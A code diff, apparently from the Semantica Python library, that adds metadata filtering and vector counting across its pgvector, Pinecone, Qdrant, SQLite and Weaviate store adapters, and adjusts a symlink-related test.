if isinstance(value, dict):
|
||||
if "min" in value and value["min"] is not None:
|
||||
filter_conditions.append(psycopg_sql.SQL("(metadata->>{})::numeric >= %s").format(
|
||||
psycopg_sql.Literal(key)
|
||||
))
|
||||
filter_values.append(value["min"])
|
||||
if "max" in value and value["max"] is not None:
|
||||
filter_conditions.append(psycopg_sql.SQL("(metadata->>{})::numeric <= %s").format(
|
||||
psycopg_sql.Literal(key)
|
||||
))
|
||||
filter_values.append(value["max"])
|
||||
elif isinstance(value, list):
|
||||
# Same lowercase-bool rule as the scalar branch below: ->> renders
|
||||
# JSON booleans as 'true'/'false', not str()'s 'True'/'False'.
|
||||
str_values = [
|
||||
('true' if v else 'false') if isinstance(v, bool) else str(v)
|
||||
for v in value
|
||||
]
|
||||
# If the metadata value at this key is itself a JSON array, match on
|
||||
# intersection (mirrors the in-memory backend's set-intersection
|
||||
# semantics) via the jsonb `?|` "any array element matches" operator;
|
||||
# otherwise fall back to plain scalar membership. `->>` renders an
|
||||
# array as its whole text representation, so it cannot be reused for
|
||||
# the array case.
|
||||
filter_conditions.append(psycopg_sql.SQL(
|
||||
"(CASE WHEN jsonb_typeof(metadata->{0}) = 'array' "
|
||||
"THEN metadata->{0} ?| %s "
|
||||
"ELSE metadata->>{0} = ANY(%s) END)"
|
||||
).format(psycopg_sql.Literal(key)))
|
||||
filter_values.append(str_values)
|
||||
filter_values.append(str_values)
|
||||
elif isinstance(value, bool):
|
||||
# PostgreSQL JSONB ->> returns lowercase 'true'/'false' for JSON booleans.
|
||||
# str(True)='True' and str(False)='False' would never match; use the
|
||||
# correct lowercase text that ->> actually produces.
|
||||
filter_conditions.append(psycopg_sql.SQL("metadata->>{} = %s").format(
|
||||
psycopg_sql.Literal(key)
|
||||
))
|
||||
filter_values.append('true' if value else 'false')
|
||||
else:
|
||||
filter_conditions.append(psycopg_sql.SQL("metadata->>{} = %s").format(
|
||||
psycopg_sql.Literal(key)
|
||||
))
|
||||
filter_values.append(str(value))
|
||||
|
||||
if filter_conditions:
|
||||
where_clause = psycopg_sql.SQL(" WHERE ") + psycopg_sql.SQL(" AND ").join(filter_conditions)
|
||||
else:
|
||||
where_clause = psycopg_sql.SQL("")
|
||||
|
||||
query_sql = psycopg_sql.SQL("""
|
||||
SELECT id, vector, metadata
|
||||
FROM {table}
|
||||
{where}
|
||||
LIMIT %s
|
||||
""").format(
|
||||
table=psycopg_sql.Identifier(self.table_name),
|
||||
where=where_clause
|
||||
)
|
||||
params = filter_values + [limit]
|
||||
|
||||
with self._get_connection() as conn:
|
||||
try:
|
||||
cur = conn.cursor()
|
||||
cur.execute(query_sql, params)
|
||||
rows = cur.fetchall()
|
||||
cur.close()
|
||||
|
||||
results = []
|
||||
for row in rows:
|
||||
vec_id, vector_data, meta = row
|
||||
vec = np.array(vector_data) if vector_data is not None else None
|
||||
results.append({
|
||||
"id": vec_id,
|
||||
"metadata": meta if isinstance(meta, dict) else json.loads(meta) if meta else {},
|
||||
"vector": vec
|
||||
})
|
||||
return results
|
||||
except Exception as e:
|
||||
raise ProcessingError(f"Failed to filter vectors by metadata: {str(e)}") from e
|
||||
|
||||
def create_index(
|
||||
self,
|
||||
index_type: str = "hnsw",
|
||||
@@ -839,6 +950,15 @@ class PgVectorStore:
|
||||
except Exception as e:
|
||||
raise ProcessingError("Failed to get stats") from e
|
||||
|
||||
def count(self) -> int:
|
||||
"""Return the exact number of vectors stored in this PostgreSQL table.
|
||||
|
||||
Executes ``SELECT COUNT(*) FROM <table>`` — always reflects the
|
||||
committed state of the table, including any deletes or updates.
|
||||
"""
|
||||
stats = self.get_stats()
|
||||
return int(stats["vector_count"])
|
||||
|
||||
def close(self):
|
||||
"""Close the connection pool."""
|
||||
if self._pool:
|
||||
|
||||
@@ -75,7 +75,7 @@ class PineconeClient:
|
||||
|
||||
try:
|
||||
# Default to serverless spec if not provided
|
||||
if spec is None:
|
||||
if spec is None and ServerlessSpec is not None:
|
||||
spec = ServerlessSpec(cloud="aws", region="us-east-1")
|
||||
|
||||
# Map metric names
|
||||
@@ -327,6 +327,7 @@ class PineconeStore:
|
||||
|
||||
self.api_key = api_key or config.get("api_key")
|
||||
self.environment = environment or config.get("environment")
|
||||
self.dimension: Optional[int] = config.get("dimension")
|
||||
|
||||
self.client: Optional[PineconeClient] = None
|
||||
self.index: Optional[PineconeIndex] = None
|
||||
@@ -395,7 +396,7 @@ class PineconeStore:
|
||||
|
||||
try:
|
||||
# Create index spec if not provided
|
||||
if spec is None:
|
||||
if spec is None and ServerlessSpec is not None:
|
||||
spec = ServerlessSpec(cloud="aws", region="us-east-1")
|
||||
|
||||
self.client.create_index(index_name, dimension, metric, spec, **kwargs)
|
||||
@@ -404,6 +405,7 @@ class PineconeStore:
|
||||
pinecone_index = self.client.get_index(index_name)
|
||||
self.index = PineconeIndex(pinecone_index)
|
||||
self.search_engine = PineconeSearch(self.index)
|
||||
self.dimension = dimension
|
||||
|
||||
self.logger.info(f"Created Pinecone index: {index_name}")
|
||||
return self.index
|
||||
@@ -431,6 +433,13 @@ class PineconeStore:
|
||||
pinecone_index = self.client.get_index(index_name)
|
||||
self.index = PineconeIndex(pinecone_index)
|
||||
self.search_engine = PineconeSearch(self.index)
|
||||
if self.dimension is None:
|
||||
try:
|
||||
stats = self.index.describe_index_stats()
|
||||
if stats and isinstance(stats, dict) and stats.get("dimension"):
|
||||
self.dimension = int(stats["dimension"])
|
||||
except Exception as e:
|
||||
self.logger.warning(f"Could not determine index dimension for '{index_name}': {e}")
|
||||
return self.index
|
||||
except Exception as e:
|
||||
raise ProcessingError(f"Failed to get index: {str(e)}")
|
||||
@@ -516,6 +525,9 @@ class PineconeStore:
|
||||
else:
|
||||
vector_list.append(list(vector))
|
||||
|
||||
if self.dimension is None and vector_list:
|
||||
self.dimension = len(vector_list[0])
|
||||
|
||||
self.progress_tracker.update_tracking(
|
||||
tracking_id, message="Upserting vectors to index..."
|
||||
)
|
||||
@@ -582,6 +594,9 @@ class PineconeStore:
|
||||
else:
|
||||
query_vector = list(query_vector)
|
||||
|
||||
if self.dimension is None and query_vector:
|
||||
self.dimension = len(query_vector)
|
||||
|
||||
results = self.search_engine.similarity_search(
|
||||
np.array(query_vector), k, filter, namespace, **options
|
||||
)
|
||||
@@ -641,6 +656,85 @@ class PineconeStore:
|
||||
self.logger.warning(f"Failed to get metadata for {vector_id}: {e}")
|
||||
return None
|
||||
|
||||
def filter_by_metadata(
|
||||
self, filters: Dict[str, Any], limit: int = 10, namespace: str = ""
|
||||
) -> List[Dict[str, Any]]:
|
||||
"""
|
||||
Filter vectors by metadata using Pinecone metadata filters.
|
||||
|
||||
Args:
|
||||
filters: Metadata filter criteria
|
||||
limit: Maximum number of results
|
||||
namespace: Namespace to search in
|
||||
|
||||
Returns:
|
||||
List of matching result dicts with 'id', 'metadata', and 'vector'
|
||||
"""
|
||||
if self.index is None or not PINECONE_AVAILABLE:
|
||||
return []
|
||||
|
||||
dimension = self.dimension
|
||||
if dimension is None:
|
||||
try:
|
||||
stats = self.index.describe_index_stats()
|
||||
if stats and isinstance(stats, dict) and stats.get("dimension"):
|
||||
dimension = int(stats["dimension"])
|
||||
self.dimension = dimension
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if not dimension:
|
||||
raise ProcessingError(
|
||||
"Index dimension is unknown. Please specify 'dimension' when initializing PineconeStore "
|
||||
"or call create_index()/get_index() first."
|
||||
)
|
||||
|
||||
pinecone_filter = {}
|
||||
if filters:
|
||||
for key, value in filters.items():
|
||||
if isinstance(value, dict):
|
||||
cond = {}
|
||||
if "min" in value and value["min"] is not None:
|
||||
cond["$gte"] = value["min"]
|
||||
if "max" in value and value["max"] is not None:
|
||||
cond["$lte"] = value["max"]
|
||||
if cond:
|
||||
pinecone_filter[key] = cond
|
||||
elif isinstance(value, list):
|
||||
pinecone_filter[key] = {"$in": value}
|
||||
else:
|
||||
pinecone_filter[key] = value
|
||||
|
||||
# A literal zero vector is rejected by Pinecone for cosine-metric indexes
|
||||
# ("Query vector must not be the zero vector"). Use a unit vector instead so
|
||||
# this works regardless of the index's distance metric; since this call only
|
||||
# cares about which vectors match `filter`, not similarity ranking, any
|
||||
# fixed non-zero query vector is an equally valid probe.
|
||||
dummy_vector = [1.0 / (dimension ** 0.5)] * dimension
|
||||
|
||||
try:
|
||||
response = self.index.index.query(
|
||||
vector=dummy_vector,
|
||||
top_k=limit,
|
||||
filter=pinecone_filter if pinecone_filter else None,
|
||||
namespace=namespace,
|
||||
include_metadata=True,
|
||||
include_values=True,
|
||||
)
|
||||
results = []
|
||||
for match in response.matches:
|
||||
results.append(
|
||||
{
|
||||
"id": match.id,
|
||||
"metadata": match.metadata or {},
|
||||
"vector": np.array(match.values) if match.values else None,
|
||||
}
|
||||
)
|
||||
return results
|
||||
except Exception as e:
|
||||
self.logger.warning(f"Failed to filter Pinecone vectors by metadata: {e}")
|
||||
return []
|
||||
|
||||
def fetch_vectors(
|
||||
self, vector_ids: List[str], namespace: str = "", **options
|
||||
) -> Dict[str, Any]:
|
||||
|
||||
@@ -49,8 +49,10 @@ try:
|
||||
Distance,
|
||||
FieldCondition,
|
||||
Filter,
|
||||
MatchAny,
|
||||
MatchValue,
|
||||
PointStruct,
|
||||
Range,
|
||||
VectorParams,
|
||||
)
|
||||
|
||||
@@ -63,7 +65,9 @@ except (ImportError, OSError):
|
||||
PointStruct = None
|
||||
Filter = None
|
||||
FieldCondition = None
|
||||
MatchAny = None
|
||||
MatchValue = None
|
||||
Range = None
|
||||
CollectionStatus = None
|
||||
|
||||
|
||||
@@ -538,6 +542,68 @@ class QdrantStore:
|
||||
self.logger.warning(f"Failed to get metadata for {vector_id}: {e}")
|
||||
return None
|
||||
|
||||
def filter_by_metadata(
|
||||
self, filters: Dict[str, Any], limit: int = 10
|
||||
) -> List[Dict[str, Any]]:
|
||||
"""
|
||||
Filter vectors by metadata using Qdrant payload filtering.
|
||||
|
||||
Args:
|
||||
filters: Metadata filter criteria
|
||||
limit: Maximum number of results
|
||||
|
||||
Returns:
|
||||
List of matching result dicts with 'id', 'metadata', and 'vector'
|
||||
"""
|
||||
if self.collection is None or self.client is None or not QDRANT_AVAILABLE:
|
||||
return []
|
||||
|
||||
conditions = []
|
||||
if filters:
|
||||
for key, value in filters.items():
|
||||
if isinstance(value, dict):
|
||||
cond_kwargs = {}
|
||||
if "min" in value and value["min"] is not None:
|
||||
cond_kwargs["gte"] = value["min"]
|
||||
if "max" in value and value["max"] is not None:
|
||||
cond_kwargs["lte"] = value["max"]
|
||||
if cond_kwargs:
|
||||
conditions.append(
|
||||
FieldCondition(key=key, range=Range(**cond_kwargs))
|
||||
)
|
||||
elif isinstance(value, list):
|
||||
conditions.append(
|
||||
FieldCondition(key=key, match=MatchAny(any=value))
|
||||
)
|
||||
else:
|
||||
conditions.append(
|
||||
FieldCondition(key=key, match=MatchValue(value=value))
|
||||
)
|
||||
|
||||
query_filter = Filter(must=conditions) if conditions else None
|
||||
|
||||
try:
|
||||
records, _ = self.client.scroll(
|
||||
collection_name=self.collection.collection_name,
|
||||
scroll_filter=query_filter,
|
||||
limit=limit,
|
||||
with_payload=True,
|
||||
with_vectors=True,
|
||||
)
|
||||
results = []
|
||||
for rec in records:
|
||||
results.append(
|
||||
{
|
||||
"id": str(rec.id),
|
||||
"metadata": rec.payload or {},
|
||||
"vector": np.array(rec.vector) if rec.vector is not None else None,
|
||||
}
|
||||
)
|
||||
return results
|
||||
except Exception as e:
|
||||
self.logger.warning(f"Failed to scroll Qdrant points by metadata filter: {e}")
|
||||
return []
|
||||
|
||||
def delete_vectors(
|
||||
self, point_ids: List[Union[str, int]], **options
|
||||
) -> Dict[str, Any]:
|
||||
|
||||
@@ -616,6 +616,96 @@ class SQLiteVecStore:
|
||||
self.logger.warning(f"Failed to get metadata for {vector_id}: {e}")
|
||||
return None
|
||||
|
||||
def filter_by_metadata(
|
||||
self, filters: Dict[str, Any], limit: int = 10
|
||||
) -> List[Dict[str, Any]]:
|
||||
"""
|
||||
Filter stored vectors by metadata using SQLite JSON functions.
|
||||
|
||||
Args:
|
||||
filters: Dictionary of metadata filter conditions
|
||||
limit: Maximum number of results
|
||||
|
||||
Returns:
|
||||
List of results containing id, metadata, and vector
|
||||
"""
|
||||
filter_conditions = []
|
||||
filter_params = []
|
||||
|
||||
if filters:
|
||||
for key, value in filters.items():
|
||||
if not self._is_safe_identifier(key):
|
||||
raise ValidationError(
|
||||
f"Invalid filter key: {key!r}. "
|
||||
"Keys must start with a letter or underscore and contain "
|
||||
"only alphanumeric characters and underscores."
|
||||
)
|
||||
if isinstance(value, dict):
|
||||
if "min" in value and value["min"] is not None:
|
||||
filter_conditions.append(f"CAST(json_extract(metadata, '$.{key}') AS NUMERIC) >= ?")
|
||||
filter_params.append(value["min"])
|
||||
if "max" in value and value["max"] is not None:
|
||||
filter_conditions.append(f"CAST(json_extract(metadata, '$.{key}') AS NUMERIC) <= ?")
|
||||
filter_params.append(value["max"])
|
||||
elif isinstance(value, list):
|
||||
# If the metadata value at this key is itself a JSON array, match on
|
||||
# intersection (mirrors the in-memory backend's set-intersection
|
||||
# semantics); otherwise fall back to plain scalar membership. Both
|
||||
# cases are handled uniformly via json_each: a non-array value is
|
||||
# wrapped in a one-element array first so json_each always sees a
|
||||
# valid JSON array to iterate.
|
||||
placeholders = ", ".join(["?"] * len(value))
|
||||
filter_conditions.append(
|
||||
f"EXISTS (SELECT 1 FROM json_each("
|
||||
f" CASE WHEN json_type(metadata, '$.{key}') = 'array'"
|
||||
f" THEN json_extract(metadata, '$.{key}')"
|
||||
f" ELSE json_array(json_extract(metadata, '$.{key}'))"
|
||||
f" END"
|
||||
f") je WHERE je.value IN ({placeholders}))"
|
||||
)
|
||||
filter_params.extend([str(v) if not isinstance(v, (int, float, bool)) else v for v in value])
|
||||
else:
|
||||
filter_conditions.append(f"json_extract(metadata, '$.{key}') = ?")
|
||||
if isinstance(value, bool):
|
||||
filter_params.append(1 if value else 0)
|
||||
else:
|
||||
filter_params.append(value)
|
||||
|
||||
where_clause = ""
|
||||
if filter_conditions:
|
||||
where_clause = " WHERE " + " AND ".join(filter_conditions)
|
||||
|
||||
query_sql = f"""
|
||||
SELECT id, embedding, metadata
|
||||
FROM {self.table_name}
|
||||
{where_clause}
|
||||
LIMIT ?
|
||||
"""
|
||||
params = filter_params + [limit]
|
||||
|
||||
with self._lock, self._get_connection() as conn:
|
||||
try:
|
||||
cur = conn.cursor()
|
||||
cur.execute(query_sql, params)
|
||||
rows = cur.fetchall()
|
||||
cur.close()
|
||||
|
||||
results = []
|
||||
for row in rows:
|
||||
vec_id, embedding_blob, meta_json = row
|
||||
vec = None
|
||||
if embedding_blob:
|
||||
vec = np.frombuffer(embedding_blob, dtype=np.float32).copy()
|
||||
|
||||
results.append({
|
||||
"id": vec_id,
|
||||
"metadata": json.loads(meta_json) if meta_json else {},
|
||||
"vector": vec
|
||||
})
|
||||
return results
|
||||
except Exception as e:
|
||||
raise ProcessingError(f"Failed to filter by metadata: {str(e)}") from e
|
||||
|
||||
def create_index(
|
||||
self,
|
||||
index_type: str = "hnsw",
|
||||
@@ -650,6 +740,15 @@ class SQLiteVecStore:
|
||||
except Exception as e:
|
||||
raise ProcessingError("Failed to get store statistics") from e
|
||||
|
||||
def count(self) -> int:
|
||||
"""Return the exact number of vectors stored in this SQLite table.
|
||||
|
||||
Executes ``SELECT COUNT(*) FROM <table>`` under the store's lock to
|
||||
guarantee a consistent, transaction-aware result.
|
||||
"""
|
||||
stats = self.get_stats()
|
||||
return int(stats["vector_count"])
|
||||
|
||||
def close(self):
|
||||
"""Close the database connection."""
|
||||
if hasattr(self, "_lock") and self._lock:
|
||||
|
||||
@@ -65,7 +65,7 @@ Author: Semantica Contributors
|
||||
License: MIT
|
||||
"""
|
||||
|
||||
from typing import Any, Dict, List, Optional, Tuple, TypedDict, Union
|
||||
from typing import Any, Dict, List, Optional, Tuple, TypedDict, Union, cast
|
||||
import concurrent.futures
|
||||
import inspect
|
||||
|
||||
@@ -824,6 +824,35 @@ class VectorStore:
|
||||
else:
|
||||
raise NotImplementedError(f"Backend store {type(self._backend_store).__name__} does not implement get_metadata")
|
||||
|
||||
def count(self) -> int:
|
||||
"""Return the number of vectors in the store, backend-agnostic.
|
||||
|
||||
The inmemory backend counts its local dict; persistent backends
|
||||
delegate to a ``count()`` on the wrapped store when available.
|
||||
Following the get_vector()/get_metadata() precedent (#843) and the
|
||||
NotImplementedError-on-unsupported-capability precedent of
|
||||
_filter_by_metadata() (#848), a persistent backend that cannot
|
||||
report a count raises NotImplementedError so callers can tell
|
||||
"no vectors" apart from "counting not supported" — including when
|
||||
the wrapped backend store is missing entirely (never silently
|
||||
report an uninitialized store as empty).
|
||||
"""
|
||||
if self.backend == "inmemory":
|
||||
return len(self.vectors)
|
||||
elif self._backend_store is not None:
|
||||
count_attr = getattr(self._backend_store, "count", None)
|
||||
if callable(count_attr):
|
||||
return cast(int, count_attr())
|
||||
raise NotImplementedError(
|
||||
f"Backend store {type(self._backend_store).__name__} does not "
|
||||
"implement a count() method. Add a count() method to the "
|
||||
"backend store adapter to enable vector counting for this backend."
|
||||
)
|
||||
raise NotImplementedError(
|
||||
f"Backend store is not initialized; cannot count vectors for "
|
||||
f"backend {self.backend!r}."
|
||||
)
|
||||
|
||||
def initialize_decision_pipeline(
|
||||
self,
|
||||
graph_store: Optional[Any] = None,
|
||||
@@ -1185,75 +1214,29 @@ class VectorStore:
|
||||
from datetime import datetime, timedelta
|
||||
cutoff = datetime.now() - timedelta(days=7)
|
||||
filters["timestamp"] = {"min": cutoff.isoformat()}
|
||||
|
||||
return filters
|
||||
|
||||
def _filter_by_metadata(self, filters: Dict[str, Any], limit: int) -> List[Dict[str, Any]]:
|
||||
"""Filter decisions by metadata only."""
|
||||
if self._backend_store is not None:
|
||||
# No real backend wrapper implements filter_by_metadata; the only
|
||||
# codebase hit is HybridSearch.filter_by_metadata which has a
|
||||
# completely different signature (results, MetadataFilter) and is
|
||||
# never stored in _backend_store. Silently returning [] here would
|
||||
# be wrong — the caller (filter_decisions) would report zero matches
|
||||
# for a query that simply isn't supported, indistinguishable from a
|
||||
# genuine empty result. This is the same situation as get_vector()
|
||||
# and get_metadata() (#843 fix): when a backend exists but cannot
|
||||
# fulfil the request, raise NotImplementedError so the caller knows
|
||||
# the backend lacks this capability rather than assuming no data.
|
||||
if hasattr(self._backend_store, "filter_by_metadata"):
|
||||
return self._backend_store.filter_by_metadata(filters, limit)
|
||||
return self._backend_store.filter_by_metadata(filters=filters, limit=limit)
|
||||
raise NotImplementedError(
|
||||
f"Backend store {type(self._backend_store).__name__} does not "
|
||||
"implement filter_by_metadata. Metadata-only filtering via "
|
||||
"filter_decisions(query=None, ...) is only supported for the "
|
||||
"inmemory backend. Pass a query string to use search_decisions() "
|
||||
"filter_decisions(query=None, ...) is only supported for backends "
|
||||
"that implement filter_by_metadata. Pass a query string to use search_decisions() "
|
||||
"instead, which is supported by all backends."
|
||||
)
|
||||
|
||||
results = []
|
||||
|
||||
for vector_id, metadata in self.metadata.items():
|
||||
match = True
|
||||
|
||||
for key, value in filters.items():
|
||||
if key not in metadata:
|
||||
match = False
|
||||
break
|
||||
|
||||
if isinstance(value, dict):
|
||||
# Handle range filters
|
||||
metadata_value = metadata[key]
|
||||
if "min" in value and metadata_value < value["min"]:
|
||||
match = False
|
||||
break
|
||||
if "max" in value and metadata_value > value["max"]:
|
||||
match = False
|
||||
break
|
||||
elif isinstance(value, list):
|
||||
# Handle list membership
|
||||
metadata_value = metadata[key]
|
||||
if isinstance(metadata_value, list):
|
||||
# Both are lists - check for intersection
|
||||
if not set(metadata_value) & set(value):
|
||||
match = False
|
||||
break
|
||||
else:
|
||||
# Metadata value is scalar, check if it's in the filter list
|
||||
if metadata_value not in value:
|
||||
match = False
|
||||
break
|
||||
else:
|
||||
# Handle exact match
|
||||
if metadata[key] != value:
|
||||
match = False
|
||||
break
|
||||
|
||||
if match:
|
||||
if _matches_filter(metadata, filters):
|
||||
results.append({
|
||||
"id": vector_id,
|
||||
"metadata": metadata,
|
||||
"vector": self.get_vector(vector_id)
|
||||
"vector": self.vectors.get(vector_id)
|
||||
})
|
||||
|
||||
if len(results) >= limit:
|
||||
@@ -1262,6 +1245,43 @@ class VectorStore:
|
||||
return results
|
||||
|
||||
|
||||
def _matches_filter(metadata: Dict[str, Any], filters: Dict[str, Any]) -> bool:
|
||||
"""Check if metadata dictionary matches filter criteria."""
|
||||
if not filters:
|
||||
return True
|
||||
if metadata is None:
|
||||
return False
|
||||
|
||||
for key, value in filters.items():
|
||||
if key not in metadata:
|
||||
return False
|
||||
|
||||
metadata_value = metadata[key]
|
||||
|
||||
if isinstance(value, dict):
|
||||
# Handle range filters
|
||||
if "min" in value and value["min"] is not None:
|
||||
if metadata_value is None or metadata_value < value["min"]:
|
||||
return False
|
||||
if "max" in value and value["max"] is not None:
|
||||
if metadata_value is None or metadata_value > value["max"]:
|
||||
return False
|
||||
elif isinstance(value, list):
|
||||
# Handle list membership
|
||||
if isinstance(metadata_value, list):
|
||||
if not (set(metadata_value) & set(value)):
|
||||
return False
|
||||
else:
|
||||
if metadata_value not in value:
|
||||
return False
|
||||
else:
|
||||
# Handle exact match
|
||||
if metadata_value != value:
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
|
||||
class VectorIndexer:
|
||||
"""Vector indexing engine."""
|
||||
|
||||
@@ -1461,21 +1481,47 @@ class VectorManager:
|
||||
def maintain_store(
|
||||
self, store: VectorStore, **options: Dict[str, Any]
|
||||
) -> Dict[str, Any]:
|
||||
"""Maintain vector store health."""
|
||||
# Check integrity
|
||||
vector_count = len(store.vectors)
|
||||
metadata_count = len(store.metadata)
|
||||
"""Maintain vector store health.
|
||||
|
||||
For the inmemory backend, both the vector count and the metadata
|
||||
count are independently tracked in separate dicts and are compared
|
||||
as an integrity check.
|
||||
|
||||
For persistent backends that implement ``VectorStore.count()``,
|
||||
only the vector count is available. Metadata is co-located with
|
||||
each vector in the underlying store (added/deleted atomically),
|
||||
so a separate metadata count cannot be meaningfully distinguished
|
||||
from the vector count. The response omits ``metadata_count`` for
|
||||
such backends and reports ``healthy: True`` to indicate that the
|
||||
store is reachable and operational.
|
||||
|
||||
If the backend does not implement ``count()``, the ``NotImplementedError``
|
||||
propagates to the caller — it is not silenced.
|
||||
"""
|
||||
if store.backend == "inmemory":
|
||||
# Inmemory keeps vectors and metadata in separate dicts; compare
|
||||
# them to detect accidental divergence (#855).
|
||||
vector_count = len(store.vectors)
|
||||
metadata_count = len(store.metadata)
|
||||
return {
|
||||
"healthy": vector_count == metadata_count,
|
||||
"vector_count": vector_count,
|
||||
"metadata_count": metadata_count,
|
||||
}
|
||||
|
||||
# Persistent backend: delegate to count(). Metadata and vectors are
|
||||
# stored together, so only one count is available.
|
||||
vector_count = store.count()
|
||||
return {
|
||||
"healthy": vector_count == metadata_count,
|
||||
"healthy": True,
|
||||
"vector_count": vector_count,
|
||||
"metadata_count": metadata_count,
|
||||
"metadata_count": None,
|
||||
}
|
||||
|
||||
def collect_statistics(self, store: VectorStore) -> Dict[str, Any]:
|
||||
"""Collect vector store statistics."""
|
||||
return {
|
||||
"total_vectors": len(store.vectors),
|
||||
"total_vectors": store.count(),
|
||||
"dimension": store.dimension,
|
||||
"backend": store.backend,
|
||||
}
|
||||
|
||||
@@ -445,6 +445,173 @@ class WeaviateStore:
|
||||
self.logger.warning(f"Failed to get metadata for {vector_id}: {e}")
|
||||
return None
|
||||
|
||||
def _build_weaviate_filter(self, filters: Dict[str, Any]) -> Any:
|
||||
"""Build native Weaviate Filter object from metadata filter dictionary."""
|
||||
if not filters or not WEAVIATE_AVAILABLE:
|
||||
return None
|
||||
|
||||
Filter = None
|
||||
try:
|
||||
from weaviate.classes.query import Filter
|
||||
except (ImportError, AttributeError):
|
||||
try:
|
||||
if weaviate and hasattr(weaviate, "classes") and hasattr(weaviate.classes, "query"):
|
||||
Filter = getattr(weaviate.classes.query, "Filter", None)
|
||||
except AttributeError:
|
||||
Filter = None
|
||||
|
||||
if Filter is None:
|
||||
return None
|
||||
|
||||
try:
|
||||
conditions = []
|
||||
for key, value in filters.items():
|
||||
if isinstance(value, dict):
|
||||
if "min" in value and value["min"] is not None:
|
||||
conditions.append(Filter.by_property(key).greater_or_equal(value["min"]))
|
||||
if "max" in value and value["max"] is not None:
|
||||
conditions.append(Filter.by_property(key).less_or_equal(value["max"]))
|
||||
elif isinstance(value, list):
|
||||
conditions.append(Filter.by_property(key).contains_any(value))
|
||||
else:
|
||||
conditions.append(Filter.by_property(key).equal(value))
|
||||
|
||||
if not conditions:
|
||||
return None
|
||||
|
||||
weaviate_filter = conditions[0]
|
||||
for cond in conditions[1:]:
|
||||
weaviate_filter = weaviate_filter & cond
|
||||
|
||||
return weaviate_filter
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Could not build native Weaviate filter: {e}")
|
||||
return None
|
||||
|
||||
def filter_by_metadata(
|
||||
self, filters: Dict[str, Any], limit: int = 10
|
||||
) -> List[Dict[str, Any]]:
|
||||
"""
|
||||
Filter stored objects by metadata in Weaviate.
|
||||
|
||||
Args:
|
||||
filters: Metadata filter criteria
|
||||
limit: Maximum number of results
|
||||
|
||||
Returns:
|
||||
List of matching result dicts with 'id', 'metadata', and 'vector'
|
||||
"""
|
||||
if self.collection is None or not WEAVIATE_AVAILABLE:
|
||||
return []
|
||||
|
||||
from .vector_store import _matches_filter
|
||||
|
||||
native_filter = self._build_weaviate_filter(filters) if filters else None
|
||||
|
||||
results = []
|
||||
seen_ids = set()
|
||||
after_cursor = None
|
||||
scanned_count = 0
|
||||
page_size = max(limit, 100)
|
||||
use_native_filter = native_filter is not None
|
||||
|
||||
try:
|
||||
while len(results) < limit:
|
||||
kwargs = {"limit": page_size, "include_vector": True}
|
||||
if use_native_filter and native_filter is not None:
|
||||
kwargs["filters"] = native_filter
|
||||
if after_cursor is not None:
|
||||
kwargs["after"] = after_cursor
|
||||
|
||||
try:
|
||||
objs = self.collection.query.fetch_objects(**kwargs)
|
||||
except TypeError as te:
|
||||
# Handle kwargs incompatibility (e.g. mock or client version without filters/after)
|
||||
if "filters" in kwargs:
|
||||
use_native_filter = False
|
||||
kwargs.pop("filters", None)
|
||||
try:
|
||||
objs = self.collection.query.fetch_objects(**kwargs)
|
||||
except TypeError:
|
||||
if "after" in kwargs:
|
||||
kwargs.pop("after", None)
|
||||
kwargs["offset"] = scanned_count
|
||||
try:
|
||||
objs = self.collection.query.fetch_objects(**kwargs)
|
||||
except TypeError:
|
||||
kwargs.pop("offset", None)
|
||||
objs = self.collection.query.fetch_objects(**kwargs)
|
||||
elif "after" in kwargs:
|
||||
kwargs.pop("after", None)
|
||||
kwargs["offset"] = scanned_count
|
||||
try:
|
||||
objs = self.collection.query.fetch_objects(**kwargs)
|
||||
except TypeError:
|
||||
kwargs.pop("offset", None)
|
||||
objs = self.collection.query.fetch_objects(**kwargs)
|
||||
else:
|
||||
raise te
|
||||
except Exception as fe:
|
||||
if use_native_filter:
|
||||
self.logger.warning(
|
||||
f"Native Weaviate filter query failed, falling back to paginated fetch: {fe}"
|
||||
)
|
||||
use_native_filter = False
|
||||
kwargs.pop("filters", None)
|
||||
objs = self.collection.query.fetch_objects(**kwargs)
|
||||
else:
|
||||
raise fe
|
||||
|
||||
if not objs or not getattr(objs, "objects", None):
|
||||
break
|
||||
|
||||
batch_objects = objs.objects
|
||||
if not batch_objects:
|
||||
break
|
||||
|
||||
new_objects_found = False
|
||||
for obj in batch_objects:
|
||||
obj_id = str(obj.uuid) if hasattr(obj, "uuid") and obj.uuid is not None else None
|
||||
if obj_id:
|
||||
if obj_id in seen_ids:
|
||||
continue
|
||||
seen_ids.add(obj_id)
|
||||
new_objects_found = True
|
||||
|
||||
properties = getattr(obj, "properties", None) or {}
|
||||
if _matches_filter(properties, filters):
|
||||
vector = None
|
||||
if hasattr(obj, "vector") and obj.vector:
|
||||
vector = np.array(obj.vector)
|
||||
results.append(
|
||||
{
|
||||
"id": obj_id,
|
||||
"metadata": properties,
|
||||
"vector": vector,
|
||||
}
|
||||
)
|
||||
if len(results) >= limit:
|
||||
break
|
||||
|
||||
if not new_objects_found:
|
||||
break
|
||||
|
||||
scanned_count += len(batch_objects)
|
||||
if len(batch_objects) < page_size:
|
||||
break
|
||||
|
||||
last_obj = batch_objects[-1]
|
||||
if hasattr(last_obj, "uuid") and last_obj.uuid is not None:
|
||||
after_cursor = str(last_obj.uuid)
|
||||
else:
|
||||
break
|
||||
|
||||
return results
|
||||
except Exception as e:
|
||||
self.logger.warning(f"Failed to fetch Weaviate objects by metadata filter: {e}")
|
||||
return results if results else []
|
||||
|
||||
|
||||
def query_vectors(
|
||||
self,
|
||||
query_vector: np.ndarray,
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import errno
|
||||
import sys
|
||||
from copy import deepcopy
|
||||
from datetime import datetime, timedelta, timezone
|
||||
from unittest.mock import MagicMock, patch
|
||||
@@ -8,6 +9,8 @@ import yaml
|
||||
|
||||
from semantica.context.agent_memory import AgentMemory
|
||||
|
||||
_ERROR_PRIVILEGE_NOT_HELD = 1314
|
||||
|
||||
|
||||
class TrackingVectorStore:
|
||||
def __init__(self):
|
||||
@@ -643,7 +646,13 @@ def test_markdown_export_rejects_symlink_without_touching_target(tmp_path):
|
||||
outside = tmp_path / "outside.md"
|
||||
outside.write_text("do not overwrite", encoding="utf-8")
|
||||
output_path = destination / memory._memory_markdown_filename("mem_symlink")
|
||||
output_path.symlink_to(outside)
|
||||
try:
|
||||
output_path.symlink_to(outside)
|
||||
except OSError as error:
|
||||
